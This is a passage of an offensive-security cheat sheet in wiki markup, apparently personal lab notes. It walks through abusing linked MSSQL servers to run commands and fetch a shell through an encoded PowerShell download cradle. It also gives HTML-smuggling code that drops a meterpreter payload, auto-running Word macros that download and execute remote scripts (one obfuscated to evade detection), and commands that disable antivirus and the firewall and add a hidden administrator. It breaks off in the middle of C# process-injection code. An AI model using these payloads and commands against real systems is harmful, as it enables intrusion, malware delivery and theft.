}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Automating linked SQL enum and attacks ===&lt;br /&gt;
&lt;br /&gt;
==== PowerUpSQL.ps1 ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#MSSQL_Trusted_Links Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/PowerUpSQL GitHub - NetSPI/PowerUpSQL: PowerUpSQL: A PowerShell Toolkit for Attacking SQL Server]&lt;br /&gt;
&lt;br /&gt;
==== Evil SQL Client ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/NetSPI/ESC GitHub - NetSPI/ESC: Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. While ESC can be a handy SQL Client for daily tasks, it was originally designed for targeting SQL Servers during penetration tests and red team engagements. The intent of the project is to provide an .exe, but also sample files for execution through mediums like msbuild and PowerShell.]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First run the .exe on target machine&lt;br /&gt;
# Find domainspns&lt;br /&gt;
SQLCLIENT&amp;gt; discover domainspn&lt;br /&gt;
# Show discovered instances.&lt;br /&gt;
SQLCLIENT&amp;gt; show discovered&lt;br /&gt;
# List links information for accessoble target SQL Server instances.&lt;br /&gt;
list links&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== MSSQL Pwner (Best tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ScorpionesLabs/MSSqlPwner GitHub - ScorpionesLabs/MSSqlPwner]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# We assume we have access to appsrv01 as a non-sa account. appsrv01 have a link to DC01. The link is bidirectional. We can use that to escalate our privileges on appsrv01.&lt;br /&gt;
python3 MSSqlPwner.py corp1.com/offsec:lab@192.168.229.6 -windows-auth interactive&lt;br /&gt;
...&lt;br /&gt;
[*] Discovered server principal: APPSRV01\Administrator on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo)&lt;br /&gt;
...&lt;br /&gt;
# Pass the hash MSSQLPwner&lt;br /&gt;
MSSqlPwner.py administrator@192.168.231.140 -hashes :5c3e856f452d9cecc5801a954ab22122 -windows-auth interactive&lt;br /&gt;
&lt;br /&gt;
# Set link server to DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest)&amp;gt; set-link-server DC01&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
# Execute commands. MSSQL Pwner will enable xp_cmdshell automatically if the user have rights.&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# Execute commands on appsrv01 through DC01&lt;br /&gt;
# First get the chain list&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; get-chain-list&lt;br /&gt;
[*] Chosen linked server: DC01&lt;br /&gt;
[*] Chain list:&lt;br /&gt;
[*] 995f1680-2ad4-4f50-8606-47312d5b5807 - APPSRV01 (CORP1\offsec@master/guest) (CORP1\offsec guest@master)&lt;br /&gt;
[*] aacabf55-4bb6-40e3-a0ce-feb406d26b1e - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] f74445c8-4fb7-4a68-86d8-9c14cfd9470a - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa&amp;gt;I:CORP1\Administrator@master/dbo) (CORP1\Administrator dbo@master)&lt;br /&gt;
[*] 9f676285-ffe4-4a97-b7b4-f4f59e128a2f - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa@master/dbo) (sa dbo@master)&lt;br /&gt;
[*] c7ecd747-93cf-4978-aab2-33a8864400f1 - APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (APPSRV01\Administrator dbo@master)&lt;br /&gt;
&lt;br /&gt;
# Set the chain by using the chain ID and execute a command&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo)&amp;gt; set-chain c7ecd747-93cf-4978-aab2-33a8864400f1&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec whoami&lt;br /&gt;
[*] Chosen chain: APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo) (ID: c7ecd747-93cf-4978-aab2-33a8864400f1)&lt;br /&gt;
[*] Reconfiguring show advanced options&lt;br /&gt;
[*] Reconfiguring xp_cmdshell&lt;br /&gt;
[*] The xp_cmdshell command executed successfully on APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&lt;br /&gt;
[*] Result: (Key: output) corp1\sqlsvc&lt;br /&gt;
[*] Result: (Key: output) NULL&lt;br /&gt;
# To get a shell on appsrv01 through DC01&lt;br /&gt;
MSSqlPwner#APPSRV01 (CORP1\offsec@master/guest) -&amp;gt; DC01 (sa@master/dbo) -&amp;gt; APPSRV01 (sa&amp;gt;I:APPSRV01\Administrator@master/dbo)&amp;gt; exec &amp;quot;powershell.exe -e KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMAAxAC8AcgB1AG4ALgB0AHgAdAAnACkAIAB8ACAASQBFAFgA&amp;quot;&lt;br /&gt;
# The encoded powershell command&lt;br /&gt;
$text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
# run.txt is a powershell shellcode runner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-9.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
--------------------------&lt;br /&gt;
# From GitHub&lt;br /&gt;
# Interactive mode&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth interactive&lt;br /&gt;
# Interactive mode with 2 depth level of impersonations&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth  -max-impersonation-depth 2 interactive&lt;br /&gt;
&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname&lt;br /&gt;
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname&lt;br /&gt;
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec &amp;quot;cmd /c mshta http://192.168.45.250/malicious.hta&amp;quot; -command-execution-method sp_oacreate&lt;br /&gt;
# Issuing NTLM relay attack on the SRV01 server&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250&lt;br /&gt;
# Issuing NTLM relay attack on the local server with custom command&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250&lt;br /&gt;
# Executing direct query&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth direct-query &amp;quot;SELECT CURRENT_USER&amp;quot;&lt;br /&gt;
# Retrieving password from the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password&lt;br /&gt;
# Execute code using custom assembly on the linked server DC01&lt;br /&gt;
python3 MSSqlPwner.py corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll&lt;br /&gt;
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using tickets against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -tl tickets.txt -ul users.txt&lt;br /&gt;
# Bruteforce using passwords against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -pl passwords.txt&lt;br /&gt;
# Bruteforce using hashes against the hosts listed on the hosts.txt&lt;br /&gt;
python3 MSSqlPwner.py hosts.txt brute -ul users.txt -hl hashes.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== [https://github.com/dadevel/mssql-spider mssql-spider] (Great tool) ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dadevel/mssql-spider dadevel/mssql-spider: Automated exploitation of MSSQL servers at scale (github.com)]&lt;br /&gt;
&lt;br /&gt;
This tool is kinda similar to mssqlpwner.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Authentication&lt;br /&gt;
# As local database user.&lt;br /&gt;
mssql-spider -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As local windows user.&lt;br /&gt;
mssql-spider -w -u administrator -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM and a password.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -p &#039;passw0rd&#039; -t db01.corp.local&lt;br /&gt;
# As domain user via NTLM Pass the Hash.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Overpass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -H b9f917853e3dbf6e6831ecce60725930 -k -t db01.corp.local&lt;br /&gt;
# As domain user via Kerberos Pass the Key.&lt;br /&gt;
mssql-spider -d corp.local -u jdoe -a c4c283276339e2d6b390eb5a11d419c9 -k -t db01.corp.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phishing (Client side code exec) ==&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if MS word is running 64-bit or 32-bit&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== BobTheSmuggler ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/TheCyb3rAlpha/BobTheSmuggler?tab=readme-ov-file TheCyb3rAlpha/BobTheSmuggler: &amp;quot;Bob the Smuggler&amp;quot;: A tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archive and then hides inside PNG/GIF image file format (Image Polyglots). (github.com)]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&amp;quot;Bob the Smuggler&amp;quot;&#039;&#039;&#039; is a tool that leverages HTML Smuggling Attack and allows you to create HTML files with embedded 7z/zip archives. The tool would compress your binary (EXE/DLL) into 7z/zip file format, then XOR encrypt the archieve and then hides inside PNG/GIF image file format (Image Polyglots). The JavaScript embedded within the HTML will download the PNG/GIF file and store it in the cache. Following this, the JavaScript will extract the data embedded in the PNG/GIF, assemble it, perform XOR decryption, and then store it as an in-memory blob.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you want to compress SharpHound.exe into 7z format (password protected) and store it in a HTML file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i path/to/SharpHound.exe -p 123456 -c 7z -f SharpHound.html -o SharpHound.7z -t html&lt;br /&gt;
# To create an HTML file with the embedded payload hidden inside PNG file, you can use the following command:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t png test.png&lt;br /&gt;
# Embed payload inside GIF File:&lt;br /&gt;
python3 BobTheSmuggler.py -i  -p  -f  -o  -t gif test.gif&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2024-01-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Zip Sharphound and use OneDrive template.&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Microsoft_Word https://blog.aghanim.net/?page_id=1809#Microsoft_Word]&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Persistence/ Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?page_id=2703#Linux_Post_Explotation CheatSheet II – Advanced – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Disable Anti-virus&lt;br /&gt;
Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true&lt;br /&gt;
# Disable firewall&lt;br /&gt;
NetSh Advfirewall set allprofiles state off&lt;br /&gt;
# Enable RDP&lt;br /&gt;
Set-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Terminal Server&amp;quot; -name &amp;quot;fDenyTSConnections&amp;quot; -value 0&lt;br /&gt;
&lt;br /&gt;
# Disable restricted mode in order to PTH as authentication on RDP&lt;br /&gt;
New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Create a new user&lt;br /&gt;
net user username password /ADD&lt;br /&gt;
# This will add the new user to the RDP group and local administratos group&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; username /add&lt;br /&gt;
net localgroup &amp;quot;Administrators&amp;quot; username /add&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== PowerShell in VBA ==&lt;br /&gt;
&lt;br /&gt;
=== Download cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim strArg As String&lt;br /&gt;
	strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object&lt;br /&gt;
system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
	Shell strArg, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WMI: Unlinking PowerShell from Office ===&lt;br /&gt;
&lt;br /&gt;
Use WMI from VBA to create a PowerShell process instead of having it as a child process of Microsoft Word.&lt;br /&gt;
&lt;br /&gt;
Remember that since this is NOT ran as a child process of MS word, the PowerShell will open in 64-bit!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro&lt;br /&gt;
   strArg = &amp;quot;powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
   GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Obfuscated version of WMI ===&lt;br /&gt;
&lt;br /&gt;
* First we&#039;ll convert the strings using &#039;&#039;ToCharArray. &#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* The code below takes the string inside the $payload and encrypt it. So the string (powershell -exec …) is encrypted, not the content of run.txt).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$payload = &amp;quot;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&amp;quot;&lt;br /&gt;
[string]$output = &amp;quot;&amp;quot;&lt;br /&gt;
$payload.ToCharArray() | %{&lt;br /&gt;
    [string]$thischar = [byte][char]$_ + 17&lt;br /&gt;
    if($thischar.Length -eq 1)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;00&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 2)&lt;br /&gt;
    {&lt;br /&gt;
        $thischar = [string]&amp;quot;0&amp;quot; + $thischar&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
    elseif($thischar.Length -eq 3)&lt;br /&gt;
    {&lt;br /&gt;
        $output += $thischar&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$output | clip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below is the decryption routine.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* So combined together with &amp;lt;code&amp;gt;Unlinking Powershell from Word&amp;lt;/code&amp;gt; code above, we will get this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Function Pears(Beets)&lt;br /&gt;
    Pears = Chr(Beets - 17)&lt;br /&gt;
End Function&lt;br /&gt;
Function Strawberries(Grapes)&lt;br /&gt;
    Strawberries = Left(Grapes, 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Almonds(Jelly)&lt;br /&gt;
    Almonds = Right(Jelly, Len(Jelly) - 3)&lt;br /&gt;
End Function&lt;br /&gt;
Function Nuts(Milk)&lt;br /&gt;
    Do&lt;br /&gt;
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))&lt;br /&gt;
        Milk = Almonds(Milk)&lt;br /&gt;
    Loop While Len(Milk) &amp;gt; 0&lt;br /&gt;
    Nuts = Oatmilk&lt;br /&gt;
End Function&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
    Dim Apples As String&lt;br /&gt;
    Dim Water As String&lt;br /&gt;
    &#039;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring(&#039;http://192.168.119.120/run.txt&#039;))&lt;br /&gt;
    Apples = &amp;quot;129128136118131132121118125125049062118137118116049115138129114132132049062127128129049062136049121122117117118127049062116049122118137057057127118136062128115123118116133049132138132133118126063127118133063136118115116125122118127133058063117128136127125128114117132133131122127120057056121133133129075064064066074067063066071073063066063066067071064131134127063129132066056058058&amp;quot;&lt;br /&gt;
    Water = Nuts(Apples)&lt;br /&gt;
&#039; GetObject(&amp;quot;winmgmts:&amp;quot;).Get(&amp;quot;Win32_Process&amp;quot;).Create strArg, Null, Null, pid&lt;br /&gt;
            GetObject(Nuts(&amp;quot;136122127126120126133132075&amp;quot;)).Get(Nuts(&amp;quot;104122127068067112097131128116118132132&amp;quot;)).Create Water, Tea, Coffee, Napkin&lt;br /&gt;
End Function&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Injection ==&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Obtain a handle to the target process. Remeber to change the process ID(4804)&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, 4804);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
